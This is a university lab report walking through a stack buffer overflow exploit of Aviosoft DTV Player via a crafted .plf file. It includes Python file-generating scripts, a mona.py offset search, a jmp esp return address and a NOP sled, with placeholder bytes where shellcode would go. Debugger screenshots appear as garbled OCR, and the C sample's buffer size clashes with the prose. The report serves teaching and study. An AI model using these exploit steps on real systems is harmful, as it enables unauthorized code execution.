

# Network Security, 2015-2016 Stack Based Buffer Overflow Exploit Laboratory Report

**Prepared By:** 

Adey Sendaba Daniel Aykadu Feleke Alie Getachew Cheru Teaching Professor: Dr. Luca Allodi

May 11, 2016 University of Trento



# Contents

1.	Introduction	3
2.	Objective	4
3.	Pointers and dynamic memory allocation	4
4.	The Stack	5
5.	The Immunity Debugger Main Window CPU screen overview	10
6.	Lab Activities	12
6.1	Triggering vulnerability	13
6.2	Determining the buffer size to write exactly into EIP	17
6.3	Find EIP (JMP to ESP)	20
6.4	Verify JMP EIP and finalized our exploit	23
7.	Protecting Against buffer overflow	24
8.	Preventing BoF attack	24
9.	References	28



#### 1. Introduction

Overflowing a buffer assigned to a subroutine is one of the most popular methods to break into a system and cause security attack. When a program writes data to a buffer it might overrun (accidentally or planned for attack) the buffers boundary and overwrite (corrupt) valid data held in adjacent memory locations.

Buffer overflow occurs while copying source buffer into destination buffer could result in overflow when source string length is greater than destination string length and no size check is performed. Buffer overflow bugs lead to arbitrary code execution. Arbitrary code execution allows attacker to execute his code in order to gain control of the victim machine. Gaining control of victim machine is achieved using many ways like spawning a root shell, adding a new user, opening a network port etc...

Arbitrary code execution is achieved using a technique called "**Return Address Overwrite**". This technique helps the attacker to overwrite the 'return address' located in stack and this overwrite would lead to arbitrary code execution.

In buffer overflow attack an application is manipulated to do something not intended to do by controlling its application flow and redirecting it to somewhere else in memory. This can be done by overwriting the **Instruction Pointer**, which is a CPU register that contains a pointer to where the next instruction that needs to be executed is located.

When an application calls a function with a parameter, it saves the current location in the instruction pointer, so that it knows where to return when the function completes execution. So if the value in this pointer can be modified the application flow can be maneuvered to point to a memory location that contains a malicious code (shellcode).



#### 2. Objective

The Objective of this lab is to write and demonstrate stacked based buffer overflow exploit on a vulnerable application. The vulnerable application used in this lab work is a multiple format video player **Aviosoft DTV Player 1.0.1.2.** It fails to properly handle malformed user-supplied data within a plf playlist (.plf) file before copying it into an insufficiently sized buffer, resulting in a buffer overflow. In order to see the state of the stack (and value of registers such as the instruction pointer, stack pointer etc), **Immunity Debugger** will be hooked up to the application, so we can see what happens at the time the application runs and especially when it fails. Once the control over the EIP is maneuvered it will point to the shellcode (shellcode to launch a calculator is given).

#### 3. Pointers and dynamic memory allocation

It is crucial to know the way Operating system manages memory before writing buffer overflow exploits, because the buffers to overwrite are part of this dynamic memory allocated while the application runs.

The process memory that is assigned to any Windows application can be divided into three major components.

- Code (text) segment: Code segment is assigned to store the instructions that needs to be executed and the EIP keeps track the next instruction to be executed.
- Data segment: Data segment is used to store global (static) variables.
- Stack segment: Used to store all the information of function calls and local variables (variables declared inside a function). The stack starts at the bottom of the stack and grows upwards to a lower memory. A PUSH adds something to the top of the stack and a POP will remove one item (4 bytes) from the stack and puts it in a register.

So to access the stack memory directly ESP (Stack Pointer) can be used, which points to the top (lowest) memory address of the stack. After a push, ESP will point to a lower memory address.



Address is decremented with the size of the data that is pushed onto the stack, which is 4 bytes in case of addresses (pointers). After a POP, ESP points to a higher address. Increments happen after an item is removed from the stack.

When a function is called a stack segment is created to keep the parameters of the parent procedure together and is used to pass arguments to the function. ESP (the stack pointer) can be used to access the current location of stack and EBP contains the current base of the function.

#### 4. The Stack

A fixed size of stack gets allocated by the OS when a subroutine is called. When the subroutine ends, the stack is cleared as well. Working with Last in First out (LIFO) and the fact that it does not require complex memory management mechanism, the stack works faster but with limited size.

When a stack is created, the stack pointer points to the top of the stack (the highest address on the stack). As information is pushed onto the stack, this stack pointer decrements (goes to a lower address). So in essence, the stack grows to a lower address.

The stack contains local variables, function calls and other info that does not need to be stored for a larger amount of time. As more data is added to the stack (pushed onto the stack), the stack pointer is decremented and points at a lower address value.

Every time a function is called, the function parameters are pushed onto the stack, as well as the saved values of registers (EBP, EIP). When a function returns, the saved value of EIP is retrieved from the stack and placed back in EIP, so the normal application flow can be resumed.

The following lines of code can be used to clarify how the stack works.

#### Intel x86 architecture General purpose registers and Instruction pointer

Processor registers are the memory storage areas used to store the data for several arithmetic & logical operations performed by processor. Since they are built into the processor itself, the



access to this registers is very fast. Intel x86 architecture has 8 general purpose registers and an instruction pointer register which points to the next instruction to be executed. **EAX:** known as Accumulator register. Usually used to store the value of the arithmetic and logical operations on the data as well as the return values from the functions. **EBX:** base pointer to the data section of the program. Normally used to store the data **ECX:** used as the counter to string and loop operations .ECX stores the value which is decremented for loop operation.

**EDX:** used as I/O pointer. Also used to perform little complex calculations (multiply / divide etc...)

**EBP:** Stack frame base pointer register. It points to the start of the function stack frame and also used to access the function arguments via offsets.

**ESP:** Stack pointer. As discussed before, ESP always points to the top of the stack.

ESI: Source pointer for string operations (string copy, string comparison etc...)

EDI: Destination pointer for string operations (string copy, string comparison etc.)

**EIP:** Instruction pointer register which points to the next instruction to execute.

# Sample vulnerable C code

```
#include <string.h>
void do_something (char *Buffer)
    {
        char MyVar[40];
        strcpy(MyVar, Buffer);
     }
int main (int argc, char **argv)
     {
        do_something (argv[1]);
     }
```

The main application passes an argument argv[1] to a subroutine do\_something(). In the function, the argument is copied into a local variable that has a maximum of 128 bytes. If the size of the argument is longer than the size of the local variable the buffer may get overflown.

When the subroutine *do\_something(param1)* gets called from inside main(), the following things happen :



- A new stack frame will be created, on top of the parent stack. The stack pointer (ESP) points to the highest address of the newly created stack. This is the "top of the stack".
- Before do\_something() is called, a pointer to the argument gets pushed to the stack. (a pointer to argv[1])
- Function do\_something is called. The CALL instruction will first put the current instruction pointer onto the stack (so it knows where to return to when the function ends) and will then execute the function. (As a result of the push, ESP decrements 4 bytes and now points to a lower address)



0xFFFFFFFF

• The function executes. This basically saves the frame pointer (EBP) onto the stack, so it can be restored as well when the function returns (ESP is



decremented again with 4 bytes and both ESP and EBP point at the top of the current stack).

• Stack space for the variable MyVar is allocated. ESP is decremented by a number of bytes. This number of bytes will most likely be more than 128 bytes, because of an allocation routine determined by the compiler.



0×00000000

OxFFFFFFFF

0x0000000



OxFFFFFFFF



According to the example given above the function will read data, from the address pointed to by [Buffer], and store it in <space for MyVar>, reading all data until it sees a null byte (string terminator). While it copies the data, ESP stays where it is. The strcpy() does not use PUSH instructions to put data on the stack. It basically reads a byte and writes it to the stack, using an index (for example ESP, ESP+1, ESP+2, etc). So after the copy, ESP still points at the begin of the string.



**OxFFFFFFF** 

That means if the data in [Buffer] is longer than the allocated buffer size, the strcpy() will overwrite saved EBP and eventually saved EIP, and so on. After all, it just continues to read & write until it reaches a null byte in the source location (in case of a string).





After the strcpy(), the function ends. And this is where things get interesting. The function epilog kicks in. It will move ESP back to the location where saved EIP was stored, and it will issue a RET. It will take whatever is written in the pointer and will jump to that address. So EIP is over written and is under control.

#### 5. The Immunity Debugger Main Window CPU screen overview

When application is loaded, immunity debugger opens default window, CPU view. As it can be seen on the picture,

CPU screen is divided in four parts:

- Disassembly (CPU instructions)
- Registers
- Memory Dump
- Stack



UNIVERSITÀ DEGLI STUDI

#### Disassembly

Disassembly part is divided into four columns. In the first column we can see memory address. Second column shows instruction operation code (hex view of instruction) located at that address. Machine language is made up from these operation codes, and that is what CPU is executing in reality. Third column is assembly code. Since immunity is dynamic debugger, you can double click on any assembly instruction and change it. Change will be visible immediately and you can see how it affects the program. And forth column contains comments. Immunity debugger tries to guess some details about instructions and if it's successful it will place details in the comments. If you are not satisfied with debugger guess you can delete it and write your comments by double clicking on it.

#### Registers

Here you can see all the registers of you CPU and their values. Top selection makes general purpose registers, which contain temporarily values, and registers which are used for controlling program flow.

Middle selection contains flag registers, which CPU changes when something of importance has happened in the program (like an overflow). The bottom selection contains registers which are used while executing floating point operations.

Registers will change color from black to red when changed, which makes it easy to watch for the changes. Same as with assembly code, you can double click on any register and change its value. You can also follow value stored in the register if it is a valid memory address by right clicking on it and selecting *Follow in dump*.

#### Dump

*Dump* window shows you the hex view of entire program. It is divided into three columns. First column shows the address. Second column show hex characters located at that address. In the third column we can see ASCII representation of hex data. You can search *Dump* values by right clicking on it and selecting *Search for -> Binary string*.



#### Stack

Memory location at which points ESP (stack pointer register) is shown at the top of the stack window. It is divided into three columns. First column shows the address. Second shows data located at that address. And the third contains comments. You can change data at the stack by double clicking on it.



#### 6. Lab Activities

This part demonstrates the process of real case scenario in writing buffer overflow exploits going from detecting a possible issue to building an actual working exploit. The following tools will be needed in writing the exploit.



#### 6.1 Triggering vulnerability

First step towards building a working exploit is to verify the vulnerability and make sure that the application is throwing an exception / crashing when it is supplied malicious or specially crafted .plf file. The information about the vulnerable copy of the software can be found from the relevant page on **exploit db**. The following simple python script will write 1000 "A"s into the crash-me01.PLF file.

1	import sys
2	import os
з	import struct
4	file="crash-me01.PLF"
5	print "Creating Stack BOF expoit. \n"
6	f=open(file,"w")
7	buff="A" * 1000
8	
9	= try:
10	f.write(buff)
11	f.close()
12	print "PLF File created"
13	except:
14	print "File cannot be created"
15	

This simple python script will create the .PLF file with 1000 bytes of data. We wrote 1000 "A"s (Hex : 0x41) into the .PLF file . Next, open the software in the debugger, run it and feed this file into the Aviosoft Digital TV player:

#### Attaching vulnerable application with debugger

Attaching the application will give the debugger to control the application's execution flow (run,

pause, restart, read/write process memory register values and operation codes).

4 Start Immunity debugger then Go to file->attach

e	. Imm	unity D	ebugg	er - [CPL	J]																			
(	File	View	Debug	Plugins	ImmLib	Optio	ns V	Vindov	v Help	) Joł	DS													
Í	🗞 🗀	E <b>K</b>	- • • ×	C 🕨 II	파키	¥1 1	-	+	l e	m	t	w h	ı c	р	k	b	z 1	r	s	?		Code au	iditor a	nd softw
	Selec	t proce	ss to al	ttach																				J X K
	PID	Name		Service	2	Liste	ning		Windo	ιW					Pat	h								
	1756	alg	- CADTU	ALG		TCP:	1028		Direct	DTU					C:N	WIND	DOWSN	Syst	em32	Nate	a.exe		DTU	
	332	end	OFTUIV						C:\WI	NDOWS	SNSV	stem3	2Nom0	i.ex	10in	WIND	oows\	sust	em32	Nome	d.exe	VIOSOT	C DIV	
	428	osrss													2??	NC: N	WIND	IOWS\	syst	em32	Nosr	ss.exe		
	2024	Explo	n rer						Start	Meni	iarr 4	ame			I Car	WIND	DOWS\ DOWS\	Expl	emoz orer	EXE	mon.	exe		
	424	Groot	eMonit					4500	Defau	lt II	٩E				C: N	Prog	aram.	File	s∖Mi	cros	soft	Office	NOffic	e
	496	Isass	ces	Eventio	igent, P og. Plug	UDP:	500	4500							LC: N	WIND WIND	JOWSN JOWSN	syst: syst:	emaz em32	Nisa Nsei	ass.e rvice	xe s.exe		
	372	SMSS													Sy	ster	Root	NSy s	temS	2\sr	nss.e	xe		
	672	spool such:	.SV Ist	Spooler  Decombau	nch. Te											WINI MINI	JOWSN DOWSN	systi susti	em32 em32	Neur	polsv	.exe		
	740	svoho	st	RpcSs	_	TCP:	135								C: N	WIN	00WS\	syst	em32	Nsve	host	.exe		
н	776	sveho	)st )st	HudioSr	rv, Brow	UDP:	123								C: N	WIND MIND	JOWSN DOWSN	Syst	em32 em32	NSV0	chost	.exe		
	872	svoho	st	Drscach	ie _										Č: N	WIN	DOWS∖	syst	em32	NSVC	chost	.exe		
	964	svehe	)st Vet	LMHOSTS	s, Remoti	UDP:	1900								IS: N	WIND	JOWS\	syst	em32	NSVC Name	chost	.exe		
	1828	TPAut	oČonne	( Webcire					Hidde	n TPA	itoC	onnec	tWind	dow	Č: \	Prog	gram (	File	sNUM	lware	eNUMW	are To	olsNTF	A   -
Ľ	1620	TPAut	OConnS	(TPAutoC	ConnSve Physics										C:	Pros	gram	File	s\UM	Ware	en UMW	are To	olsNTF	
	404	Vmtoo	olsd	Vilware	Filystea				UMSwi	tchU	serC	ontro	lTitl	le	lč: \	Pro	aram.	File	SNUM	lware	NUMW	are To	olsvor	
																						Attach		
																						Allach		icer



- 4 Select Aviosoft DTV Player from the process list
- Click on >>Attach
- Finally Click on debug->Run
- Right Click Here >>Play From >> Open Playlist>>Open crash-me01.PLF



The application has crashed throwing the exception and debugger is in control of the program as it catches the exception in the following **screenshot**.



At this point, application throwed the "Access violation" exception which is being caught and reported by the debugger because application couldn't read the memory at location



**0x41414141.** It read the .PLF file into the buffer and because it did not check on the number of bytes that it read on the stack, it overwrote the application's stack with the junk data (several 0x41s in this case) which has ultimately gone and overwrote the Instruction pointer (EIP register) .Observing the stack pointer, ESP has **0x0012EC84** which also points at an offset in the supplied buffer of junk data.

Another point worth noticing over here is that before trying the file with 1000 bytes of data, also tried with 100 bytes of data but the application did not crash.

Modifying this python script buffer size from 1000 bytes to 100 bytes and create .plf file could not crashed but it has raise an error.







This effectively means that the application will die if supplied the file which contains somewhere between 100 to 1000 bytes of data. This information will eventually help us to figure out the exact offset in our buffer at which the Instruction pointer is overwritten.

We need to be aware that not every application crash is exploitable though. It may be just a denial of service but in lot of cases it is. Our goal here is to utilize this crash and make the application do something which it is not intended to. We will look to redirect the execution flow of the application to execute the code that we want. To achieve this, primarily information that we need to have is: The exact offset at which the Instruction pointer is overwritten. This is the basic requirement for controlling the execution flow of the program. If we are able to figure this out, we can overwrite the EIP, exactly at that offset, with the usable memory address that contains the instruction which help code. can us Jump to our

In the introduction part, we knew the exact size of our buffer and we could easily guess the



offset at which the EIP should be overwritten but in this case, we have no information on the size of buffer. Also, the overflowed stack has all "A"s at the moment. It is not going to be easy to figure out the offset, until we break the buffer down to multiple pieces to get the better idea.

We can conclude that if we could able to control EIP which is mean the crash is really exploitable.

#### 6.2 Determining the buffer size to write exactly into EIP

At the process of triggering vulnerability (6.1) we were able to know EIP is located somewhere between 100 and 1000 bytes from the beginning of the buffer. Now it is time to find how many bytes the stack requiring for getting overwritten EIP. So time to work with a great tool mona.py.

**Mona.py** is plug-in for Immunity Debugger which is developed by <u>Corelan Team</u>. You can get more information about mona.py <u>here</u> & <u>installation</u> & <u>usage</u>.

Mona allows you to group the output and write then into application specific folders. In

order to activate this feature, you will need to set a configuration parameter with the

#### following command

Imona config -set workingfolder c:\Documents and

settings\owner\Desktop\exploit\mona\%p and press enter

09492476       .8800       44764000       MOU       EXCMOND PTR DS:[407644]       MOUE/ MSVGItp         09492476       .8908       .8908       MOU DU ECX, DWORD PTR DS:[1407644]       ST0 empty         09492476       .8908       MOU DUORD PTR DS:[1407640]       MSVGItp_       ST0 empty         09492476       .8908       MOU DUORD PTR DS:[1407640]       MSVGItp_       ST0 empty         09492484       .8800       40764000       MOU ECX, DWORD PTR DS:[1407640]       MSVGItp_       ST2 empty         09492484       .8908       MOU DUORD PTR DS:[1407640]       MOU ECX, DWORD PTR DS:[1407640]       ST3 empty         09492491       .8800       MOU EAX, DWORD PTR DS:[16AX]       ST5 empty       ST4 empty         09492491       .8800       MOU DWORD PTR DS:[1407670], EAX       ST5 empty       ST6 empty         09492493       .83108000       CHL Aviosoft.00402583       ST7 empty       ST6 empty         09492493       .3910       80714000       CHL Aviosoft.00402583       ST7 empty         09492494       .53100000       CHL Aviosoft.00402580       FST 4020       Cond 1         09492494       .53100000       CHL Aviosoft.00402580       FST 4020       Cond 1         09492484       .6880254000       PUSH Aviosoft.00402580<				
08482476       .8800       44764000       MOU       ECX.0007       PT       Distribution       Distribut				
09402476       .8800       44764000       MOU ECX, DWORD PTR DS:[407644]       ST0 empty         09402476       .8908       MOU ECX, DWORD PTR DS:[407644]       ST0 empty         09402476       .8908       MOU ECX, DWORD PTR DS:[407640]       ST1 empty         09402476       .8908       MOU ECX, DWORD PTR DS:[407640]       ST1 empty         09402484       .8800       40764000       MOU ECX, DWORD PTR DS:[407640]       ST2 empty         09402484       .8908       MOU ECX, DWORD PTR DS:[407640]       ST3 empty         09402484       .8908       MOU ECX, DWORD PTR DS:[407640]       ST4 empty         09402491       .8800       MOU EAX, DWORD PTR DS:[CAX], ECX       ST4 empty         09402493       .8308       MOU EAX, DWORD PTR DS:[CAX]       ST5 empty         09402493       .8370764000       MOU DWORD PTR DS:[407670], EAX       ST6 empty         09402493       .63160000       CRLL AVIOSOFT, 094042583       ST7 empty	ο̈́ ο̈́ ο̈́ AR,53	ο̈́ο̈́ AR,5	) 53	
08402476       .8800       44764000       MOV       ECX.000D       PTR DS:[407644]       ST0 empty         08402476       .8908       MOV       ECX.000D       PTR DS:[407644]       ST0 empty         08402476       .8908       MOV       ECX.000D       PTR DS:[407644]       ST0 empty         08402476       .8908       MOV       ECX.000D       PTR DS:[407640]       MOV.000D       ST1 empty         08402476       .8908       MOV       EQX.000D       PTR DS:[407640]       MOV.000D       ST2 empty         08402481       .8908       MOV       EQX.000DD       PTR DS:[407640]       ST3 empty         08402484       .8908       MOV       EQX.000DD       PTR DS:[64NSUCRTadjust_'       ST4 empty         08402481       .8908       MOV EX.000DD       PTR DS:[64NSUCRTadjust_'       ST5 empty         08402491       .8800       MOV EX.000DD       PTR DS:[64NSUCRTadjust_'       ST5 empty	210	2 1	10	
00402476       . 880D       4476400       MOU ECX, DWORD PTR DS:[407644]       ST0 empty         00402477       . 8908       MOU DWORD PTR DS:[EAX],ECX       ST1 empty         00402476       . FF15 C8524000 CALL DWORD PTR DS:[C407644]       ST1 empty         00402478       . FF15 C8524000 CALL DWORD PTR DS:[C407640]       ST2 empty         00402484       . 880D 40764000 MOU ECX, DWORD PTR DS:[C407640]       ST2 empty         00402484       . 880D 40764000 MOU ECX, DWORD PTR DS:[C407640]       ST2 empty         00402484       . 880D 40764000 MOU ECX, DWORD PTR DS:[C407640]       ST2 empty         00402484       . 880D 40764000 MOU ECX, DWORD PTR DS:[C407640]       ST2 empty         00402484       . 880D 40764000 MOU ECX, DWORD PTR DS:[C407640]       ST3 empty				
03402476 . 8800 44764000 MOU ECX, DWORD PTR DS:[407644] 03402476 . 8908 MOU ECX, DWORD PTR DS:[407644] 03402476 . 8908 MOU ECX, DWORD PTR DS:[507646] 03402476 . 8908 MOU ECX, DWORD PTR DS:[507666] 03402476 . 8908 MOU ECX, DWORD PTR DS:[507666] 03402476 . 8908 MOU ECX, DWORD PTR DS:[507666] 04402476 . 8908 MOU ECX, DWORD PTR DS:[507667] 04402476 . 8908 MOU ECX, DWORD PTR DS:[507667] 04402476 . 8908 MOU ECX, DWORD PTR DS:[50767] 04402476 . 8908 MOU EC				
and a state of the second state of the second state of the state of the second state o				
09492465 . 3300 (3654900 OR DWORD FIR DS: 14976783, FFFFFFF 094924724 EFIS (06534900 COLL DWORD FIR DS: 14976783, FFFFFFFF	NB,E,	NB,E	Ε,	BE,

!mona config -set workingfolder C:\Documents and Settings\Owner\Desktop\exploit\mona\%p

Analusing Auiosoft: 55 heuristical procedures. 236 calls to known. 8 calls to que



# UNIVERSITÀ DEGLI STUDI

This will tell mona to write the output to subfolders of c:\Documents and settings\owner\Desktop\exploit\mona. The %p variable will be replaced with the process name currently being debugged.

After proving that a program is exploitable (typically with "AAAAA..." etc.), now we use **!mona pattern\_create** command to create a string where every set of 4 consecutive characters are unique. We used mona tool to find/calculate the offset in an exploit string where your address to overwrite EIP should be. By using the pattern\_create functionality of Mona.py, we made a 1000 line unique string, and ran it into the program while attached to a debugger.

"!mona pattern\_create 1000" will generate a string that contains unique patterns

ADFØØD	Creating cyclic pattern of 1000 bytes
adføød	Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0A
adføød	[+] Preparing output file 'pattern.txt'
adføød	- (Re)setting logfile C:\Documents and Settings\Owner\Desktop\exploit\mona\AviosoftDTU\pattern.txt
adføød	Note: don't copy this pattern from the log window, it might be truncated !
adføød	It's better to open C:\Documents and Settings\Owner\Desktop\exploit\mona\AviosoftDTU\pattern.txt and copy the pattern from t
adføød	
	[+] This mona.py action took 0:00:00.203000
	1070F0 70 4E 47 70 41 40 00 E0 martin c
!mona	a pattern_create 1000

It just created a file in C:\..\mona\AviosoftDTV called "pattern.txt".This time need to edit the script again and put the Cycling patter in place of "A"\*1000. The full script will look like this:

1	import sys
2	import os
з	import struct
4	file="crash-meO2.PLF"
5	print "Creating Stack BOF expoit. \n"
6	f=open(file,"w")
7	buff="AaOAa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9AbOA
8	= try:
9	f.write(buff)
10	f.close()
11	print "PLF File created"
12	<pre>except:</pre>
13	print "File cannot be created"



Now need to regenerate the "crash-me02.PLF" file and open with AviSoft DTV (Already attached with debugger). So the application crashed again but with mona's Cycling pattern instead "AAAAAA..." So we need to take note of EIP value. In our case it is "37694136"

Registers (F	PU)	<	<	< ·
EAX 00000001 ECX 04740980 EDX 0000042 EBX 77F6C1AC ESP 0012EC84 ESP 0168FA68 ESI 0168FEA8 EDI 640578EC	SHLWAPI.PathFindFileNameA ASCII "j3Aj4Aj5Aj6Aj7Aj8A MediaPla.640578EC	j9Ak0	Ak1Ak	2Ak3Ak4
EIP 37694136				
C 0 ES 0023 P 0 CS 001B A 1 SS 0023 Z 0 DS 0023 S 0 FS 003B T 0 GS 0000 D 0	32bit 0(FFFFFFF) 32bit 0(FFFFFFFF) 32bit 0(FFFFFFF) 32bit 0(FFFFFFF) 32bit 7FFDE000(FFF) NULL			
00 LastErr	ERROR_SUCCESS (00000000)			

This time we need to figure out the exact bytes to overwrite EIP. Indeed, we had overwritten the EIP with "37635236". We then run !mona pattern\_offset to find the offset of the string that would overwrite the instruction pointer (EIP).

Ashtanana libuu tes ci vuitinowa vaastenaz valigulia. utt
75970000 Modules C:\WINDOWS\system32\MSGINA.dll
74320000 Modules C:NWINDOWSNsystem32NODBC32.dll
04720000 Modules C:NWINDOWSNsystem32Nodboint.dll
76360000 Modules C:\WINDOWS\system32\WINSTA.dll
07160000 Modules_C:NWINDOWSNsystem32NAudiodev.dll
15110000 Modules_C:NWINDOWSNsystem32NWMVCore.DLL
7C812AFB [16:31:41] Debug string: Blz::Log: TrialDays: 14
37694136 [16:31:41] Access violation when executing [37694136]
ØBADFØØD Looking for 6Ai7 in pattern of 500000 bytes
ØBADF00D - Pattern 6Ai7 (0x37694136) found in cyclic pattern at position 260
ØBADFØØD Looking for 6Ai7 in pattern of 500000 bytes
ØBADFØØD Looking for 7186 in pattern of 500000 bytes
ØBADFØØD – Pattern 7iA6 not found in cyclic pattern (uppercase)
ØBADFØØD Looking for 6Ai7 in pattern of 500000 bytes
ØBADFØØD Looking for 7186 in pattern of 500000 bytes
ØBADFØØD – Pattern 7iA6 not found in cyclic pattern (lowercase)
ØBADFØØD
Imone pattern offect 27604126
ווויוים אמוכות_טווצבו גדיסארגס
Show patches (Ctrl+P)

Based on this knowledge, we knew the offset would be somewhere around 260 bytes in. It tells that we need 260 bytes to overwrite stack and more 4 bytes we will need to overwrite EIP. So it is 260+4=264 bytes.



#### 6.3 Find EIP (JMP to ESP)

#### Summary of Our Stack Based BOF

So far our buffer looks like this.

Buffer	EIP	Junk	ESP
			+
A * 260	BBBB	CCCCCCCCC	СССССССССССССССС
4141414141 41	42424242	434343434343	43
260 bytes	4 bytes	16 bytes	

- We need to find the right EIP address to redirect our execution in to ESP address.
- Our Next goal will be:
  - Replacing "BBBB" with valid pointer (which Points to ESP and ESP will hold shellcode)
  - Solving (CCCC... after EIP) easy problem.
    - Fill with nop:- No operation that simply does nothing and jumps to the next instruction
  - ► Replacing "CCCCCC..." with real shellcode.

**Shellcode** is basically a list of carefully crafted instructions that can be executed once the code is injected into a running application. Stack and heap-based buffer overflows are the most popular way of doing so.

Since we want to put our shellcode in ESP (which is placed in our payload string after overwriting EIP), the jmp esp address from the list must not have null bytes. If this address would have null bytes, we would overwrite EIP with an address that contains null bytes. Null byte acts as a string terminator, so everything that follows would be ignored. In some cases, it would be ok to have an address that starts with a null byte. If the address starts with a null byte, because of little endian, the null byte would be the last byte in the EIP register. And if you are not sending any payload after overwrite EIP (so if the shellcode is fed before overwriting EIP, and it is still reachable via a register), then this will work.



- We are going to find EIP from application's DLL (Aviosoft DTV)
  - We use mona => !mona jmp -r esp (Be patient it will take a few min till searching JMP EIP address )
  - It will create a file called "jmp.txt" in "...\mona\AviosoftDTV" and which contains following possible addresses:
  - Here we use **0x6411a7ab** address which is found in line 223 (when we open the jmp.txt file using notepad++)
  - ► You can search (Ctrl + g) to go to line number

There are a lot of Aviosoft DTV dll modules are loaded when the application is attached with debugger. You can use one of the loaded dll's addresses. In our case we used one of the application's dll's address which is found in line 223(0x6411a7ab: jmp esp | {PAGE\_EXECUTE\_READWRITE} [NetReg.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.12.11.2006 (C:\Program Files\Aviosoft\Aviosoft DTV Player Pro\NetReg.dll) as shown below.

		📄 jmp.txt					5/4	/2016 2:23 P	M	Text Doc	ument	71	KB			
		imp tot al	d				574	/2016 2-16 0	N.A.			12	VD			
[	2				C:\	Users\a	anony	mous\De	sktop	master	s course i	resource\2	nd seme	ster\Netw	ork Securit	y\projects\r
	File E	dit Search	View En	ncodi	ng Lar	nguage	Setting	gs Macro	Run	Plugins	Window	?				
	6		6 🕞	6	6	) 7	c   #	<b>₽</b> 8   €	R		Ep 1 ]	F 😺 💹 🖉			🔒 🌺 遏	
	😑 sche	dule.html 🛛	team.html	X	🗄 main_i	image.gif	×	cleaning.html	×	Helpling.h	tm 🗵 📙 c	ommon.js 🗵	📒 index.htr	nl 🗵 📙 Link	+code.txt 🗵	🗄 jquery.js 🗵
	222	0x641	19bc3	:	jmp	esp		{PAGE	EXE	CUTE	READW	RITE }	[NetR	eg.dll	] ASLR	: False
	223	0x641	1a7ab	:	jmp	esp		{PAGE	EXE	CUTE	READW	RITE }	[NetR	eg.dll	] ASLR	: False
	224	0x73e	92fef	:	jmp	esp		{PAGE	EXE	CUTE	READW	RITE }	[MFC4	2.DLL]	ASLR:	False,
	225	0x73e	932e3	:	jmp	esp		{PAGE	EXE	CUTE	READW	RITE }	[MFC4	2.DLL]	ASLR:	False,
	226	0x73e	96ba3	:	jmp	esp		{ PAGE	EXE	CUTE	READW	RITE }	[MFC4	2.DLL]	ASLR:	False,
	227	0x73e	98347	:	jmp	esp		{PAGE	EXE	CUTE	READW	RITE }	[MFC4	2.DLL]	ASLR:	False,
	228	0x73e	98643	:	jmp	esp	1	{ PAGE	EXE	CUTE	READW	RITE }	[MFC4	2.DLL]	ASLR:	False,

- We need to modify the script replace the address in EIP variable instead "BBBB".
  - Open 04.py with notepad++ and edit line 8 and 9 as follows:



1	import sys
2	import os
3	import struct
4	file="crash-me04.PLF" #Creat an File
5	print "Creating Stack BOF expoit. \n"
6	<pre>f=open(file,"w")</pre>
7	buff="A" * 260 # Found by mona
8	EIP="\xab\xa7\x11\x64"# EIP 0x6411a7ab : jmp esp   {PAGE_EXECUTE_READWRITE} [NetReg.dll] ASLR: False,
	(C:\Program Files\Aviosoft\Aviosoft DTV Player Pro\NetReg.dll)
9	nop="\x90" * 100 # more nops before reaching to shellcode
10	buff2="C" * 736 # Will replace wuth real shellcode

We should remember that, in our system bytes are stored in little –endian notation, that byte by byte from right to the. We need reverse the address so EIP should become 0x6411a7ab=>"\xab\xa7\x11\x64".

- Remember that there was a nasty junk b/n EIP and ESP now we filled with 100 nop (0x90 no opration just to pass the execution ....)
- It's good idea to use some nops (0x90) before and after our shellocde.
- Run the 04.py script (python 04.py)
- Setting breakpoint at EIP address **0x6411a7ab** to make sure that our exploit is reaching to the right address.
- Run the application through debugger
  - Right click>>Go to >>Expression

02445	Binary			Eep					
02444 0244B	Assemble	Space		,ESP		Enter exc	pression to follo	w	×
0244E	Label	:							_
02450 .	Comment	3		P-18],ESP		6411a7a	ab		-
02454 .	Add Header			P-4],EBX		-	-		
102459 . 1 102458 . 1	Modify Variable			&MSVCRTset_app_	t! msvortset_app				
02461 02462	Breakpoint		•	6741.FFFFFFFF				ПК	Cancel
102469	Hit trace		•	6781, FFFFFFFF &MSUCRT, p_fmode	> msucrt. n fmor				
402476	Run trace		•	:[407644]	//////////////////////////////////////				
40247E	New origin here	Ctrl+Gray *		&MSUCRTpcommo :[407640]	d msvcrt. <u>p</u> comm				
40248C	Go to			Origin	*				
402491	Thread		•	Previous	Minus				
109498	Follow in Dump		•	Expression	Ctrl+C		nain throad mod	ula NotDog	
	View call tree	Ctrl+K		Due viewe ewe ee duwe	Chul - Minus		nam chi cau, mou		
dress <u>Hex</u> - 107000 00 1	Council Cou		_	Previous procedure	Ctri+Minus	6411H7HB	6811 64	IMUL EDX.DWORD PT	R DS: LECX1.64
407008 B0	Search for		<u>_</u>	Next procedure	Ctri+Plus	6411A7B0	2005 93190100	AND BYTE PTR DS: [	119931,AL
407010 00 0	Find references to		• F 1			6411A7B6	0000	ADD BYTE PTR DS: []	EAX],AL
						6411H7B8	<u>00H7 1164</u> 0000 0000	SHL BYIE FIR US:LI	EUI+6411J, <b>1</b> Fovi o
						64118700	0000	ADD BYTE PTR DS C	EAX1.AL
						64119702	ดิดิดิดิ	BOD BYTE PTR DS: [	FAX1 AL

0000

6411H7C4



#### 6.4 Verify JMP EIP and finalized our exploit

- When new window will pop up , search the EIP address
- Now press F2. It may warn you about break pointing to this address but you can pass the warning by pressing yes button.

Now open crash-me04.PLF with debugger

٠	Registers (FPU)	<	< <	 	<	<	<	<	<	< <	 < <
	EAX 00000001 ECX 047E0980 EDX 0000042 EBX 77F6C1AC SHLWAPI.PathFindFileNameA ESP 0012EC84 ASCII "CCCCCCCCCCCCCCCCCC EBP 0168FA68 ESI 0168FEA8 ESI 0168FEA8 EDI 640578EC MediaPla.640578EC	:ccccc	ccccc		ccccc	ccccc	ccccc	ccccc	cccco	:ccccci	ccccc
	EIP 6411A7AB NetReg.6411A7AB										
